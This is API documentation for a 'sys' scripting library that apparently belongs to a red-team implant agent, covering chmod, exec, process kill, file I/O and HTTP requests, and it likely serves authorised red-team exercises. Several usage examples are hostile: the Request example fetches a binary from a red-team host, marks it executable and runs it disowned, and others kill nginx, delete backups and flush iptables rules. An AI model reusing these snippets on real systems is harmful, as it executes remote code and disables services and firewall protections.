sys

Documentation

Index

• func Chmod(parser script.ArgParser) (script.Retval, error)
• func Chown(parser script.ArgParser) (script.Retval, error)
• func Connections(parser script.ArgParser) (script.Retval, error)
• func Copy(parser script.ArgParser) (script.Retval, error)
• func Detect(parser script.ArgParser) (script.Retval, error)
• func Dir(parser script.ArgParser) (script.Retval, error)
• func Exec(parser script.ArgParser) (script.Retval, error)
• func Import() script.Library
• func Kill(parser script.ArgParser) (script.Retval, error)
• func Move(parser script.ArgParser) (script.Retval, error)
• func Processes(parser script.ArgParser) (script.Retval, error)
• func ReadFile(parser script.ArgParser) (script.Retval, error)
• func Remove(parser script.ArgParser) (script.Retval, error)
• func ReplaceString(parser script.ArgParser) (script.Retval, error)
• func Request(parser script.ArgParser) (script.Retval, error)
• func WriteFile(parser script.ArgParser) (script.Retval, error)

Functions

func Chmod

func Chmod(parser script.ArgParser) (script.Retval, error)

Chmod uses os.Chmod to change a file's permissions. All optional params are assumed to be false unless passed.

@param file: A string for the path of the file.

@param ?setUser: A bool for the set user bit.

@param ?setGroup: A bool for the set group bit.

@param ?setSticky: A bool for the sticky bit.

@param ?ownerRead: A bool for the owner read permission.

@param ?ownerWrite: A bool for the owner write permission. In Windows this is the only bit that matters (set file to read only iff false; true o/w).

@param ?ownerExec: A bool for the owner execute permission.

@param ?groupRead: A bool for the group read permission.

@param ?groupWrite: A bool for the group write permission.

@param ?groupExec: A bool for the group execute permission.

@param ?worldRead: A bool for the world read permission.

@param ?worldWrite: A bool for the world write permission.

@param ?worldExec: A bool for the world execute permission.

@return (nil, nil) iff success; (nil, err) o/w

@example

load("sys", "chmod")

# sets the file's perms to 0700
chmod("/home/user/permsToBeChanged", ownerRead=True, ownerWrite=True, ownerExec=True)

func Chown

func Chown(parser script.ArgParser) (script.Retval, error)

Chown uses os.Chown to change the user/group ownership of a file/dir.

@param file: A string for execution.

@param owner: A string representing a user and/or group, separated by a ":" character.

@return (nil, nil) iff success; (nil, err) o/w

@example

load("sys", "chown")

chown("/home/user/fileToBeOwned")

func Connections

func Connections(parser script.ArgParser) (script.Retval, error)

Connections uses net.ConnectionsPid to get all the connections opened by a process, given a connection protocol. May work on windows.

The Connections map is defined as:

map[string]string{
 "pid":           PID of the process,
 "proto":         PID of the parent process,
 "localaddr":     Name of the process,
 "remoteaddr":    User who ran/owns the process,
 "status":        Status of the process,
}

@return (connections, nil) iff success; (nil, err) o/w

@example

load("sys", "connections")

def main():
    # loops need to be in functions, main is called automatically
    for conn in connections():
        print("%s\t%s\t%s\t%s\t%s;" % (conn["proto"], conn["localaddr"], conn["remoteaddr"], conn["status"], conn["pid"]))

func Copy

func Copy(parser script.ArgParser) (script.Retval, error)

Copy uses ioutil.ReadFile and ioutil.WriteFile to copy a file from source to destination.

@param srcFile: A string for the path of the source file.

@param dstFile: A string for the path of the destination file.

@return (nil, nil) iff success; (nil, err) o/w

@example

load("sys", "copy")

copy("/tmp/payload", "/tmp/payload.bak")

func Detect

func Detect(parser script.ArgParser) (script.Retval, error)

Detect uses runtime.GOOS to detect what OS the agent is running on.

Enum for return value {
 "linux"
 "windows"
 "darwin"
 "bsd"
 "solaris"
 "other"
}

@return (osStr, nil) iff success; (nil, err) o/w

@example

load("sys", "detectOS")

os = detectOS()
if os == "linux":
    print("hax0rz")
else:
    print("boring af")

func Dir

func Dir(parser script.ArgParser) (script.Retval, error)

Dir uses ioutil.ReadDir to get the directory entries of a passed directory.

@param ?dir: The directory to be listed. The default is ".".

The files map is defined as:

map[string]string{
 "name":             The name of the file,
 "size":             The size of the file,
 "mode":             The permissions of the file,
 "modTimeUnix":      The last time the file was modified; as a Unix timestamp,
 "modTimeReadable":  The last time the file was modified; as human readable,
 "isDir":            True iff the file is a directory,
}

@return (files, nil) iff success; (nil, err) o/w

@example

load("sys", "dir")
load("sys", "remove")

def main():
    # loops need to be in functions, main is called automatically
    for entry in dir():
        # delete all backups :)
        if ".bak" in entry["name"]:
            remove(entry)

func Exec

func Exec(parser script.ArgParser) (script.Retval, error)

Exec uses os.Command to execute the passed string

@param cmd: A string for execution.

@param ?disown: A bool that dictates if a process should be disowned or not. The default is false.

@return (stdoutStderr, nil) iff success; (nil, err) o/w

@example

load("sys", "exec")

print(exec("systemctl status mysql"))

func Import

func Import() script.Library

Import the sys library to enable scripts to access low level system functionality.

func Kill

func Kill(parser script.ArgParser) (script.Retval, error)

Kill uses gopsutil.process.Kill to kill and passed process pid.

@param pid: A string of the process pid to be killed.

@return (nil, nil) iff success; (nil, err) o/w

@example

load("sys", "processes")
load("sys", "kill")

def main():
    # loops need to be in functions, main is called automatically
    for proc in processes():
        if proc["name"] == "nginx":
            kill(proc["pid"])

func Move

func Move(parser script.ArgParser) (script.Retval, error)

Move uses os.Rename to move a file from source to destination.

@param srcFile: A string for the path of the source file.

@param dstFile: A string for the path of the destination file.

@return (nil, nil) iff success; (nil, err) o/w

@example

load("sys", "move")

# maybe just move it :P
move("/etc/nginx/nginx.conf", "/home/user/nginx_conf")
exec("systemctl stop nginx")

func Processes

func Processes(parser script.ArgParser) (script.Retval, error)

Processes uses gopsutil.process.Pids to get all pids for a box and then makes them into Process map structs.

The Process map is defined as:

map[string]string{
 "pid":     PID of the process,
 "ppid":    PID of the parent process,
 "name":    Name of the process,
 "user":    User who ran/owns the process,
 "status":  Status of the process,
 "cmdLine": Command line argumenest for the process,
 "exe":     Name of executable that started the process,
 "tty":     The tty/pty of the process ,
}

@return (processes, nil) iff success; (nil, err) o/w

@example

load("sys", "processes")

def main():
    # loops need to be in functions, main is called automatically
    for proc in processes():
        print(proc)

func ReadFile

func ReadFile(parser script.ArgParser) (script.Retval, error)

ReadFile uses ioutil.ReadFile to read an entire file's contents.

@param file: A string for the path of the file.

@return (fileContents, nil) iff success; (nil, err) o/w

@example

load("sys", "read")

print(read("/home/user/iptables.sh"))

func Remove

func Remove(parser script.ArgParser) (script.Retval, error)

Remove uses os.Rename to remove a file/folder. WARNING: basically works like rm -rf.

@param file: A string for the path of the file.

@return (nil, nil) iff success; (nil, err) o/w

@example

load("sys", "remove")

remove("/tmp/mysql.back")

func ReplaceString

func ReplaceString(parser script.ArgParser) (script.Retval, error)

ReplaceString uses regexp.MustCompile to replace values in a string.

@param inStr: A string to have parts replaced.

@param newStr: A string that will replace the places where the pattern match in `inStr`. Also can reference backrefs with `${1}`-like syntax.

@param pattern: A string for the regular expression to pattern match with/generate capture groups.

@return (resultStr, nil) iff success; (nil, err) o/w

@example

 load("sys", "read")
 load("sys", "write")
 load("sys", "replaceString")
 load("sys", "exec")

 nginx_conf_file = "/etc/nginx.conf"
 nginx_conf = read(nginx_conf_file)
 new_nginx_conf = replaceString(nginx_conf, "listen[\s]*80;", "listen 81;")
 write(nginx_conf_file, new_nginx_conf)
	exec("systemctl restart nginx")

func Request

func Request(parser script.ArgParser) (script.Retval, error)

Request uses the http package to send a HTTP request and return a response. Currently we only support GET and POST.

@param requestURL: A string that is the full requested URL.

@param ?method: The HTTP method of the request. The default is GET.

@param ?writeToFile: The path to the file you wish to have the response written to. The default is to just return the string.

@param ?contentType: The value of the "Content-Type" header for your request. Required for POST, the default is "application/json".

@param ?data: The body of your request. Only Available for POST.

@return (response, nil) iff success; (nil, err) o/w

@example

 load("sys", "request")

 new_bin = "/tmp/kqwncWECaaV"
 request("https://library.redteam.tld", writeToFile=new_bin)
	# set new_bin to 0755
 chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
 exec(new_bin, disown=True)

func WriteFile

func WriteFile(parser script.ArgParser) (script.Retval, error)

WriteFile uses ioutil.WriteFile to write an entire file's contents, perms are set to 0644.

@param file: A string for the path of the file.

@param content: A string for the content of the file to be written to.

@return (nil, nil) iff success; (nil, err) o/w

@example

load("sys", "read")
load("sys", "write")

iptables_file = "/home/user/iptables.sh"
iptables_script = read("/home/user/iptables.sh")
iptables_script += "\n# Always flush when done :P
iptables_script += "\niptables -F\n"
write(iptables_file, iptables_script)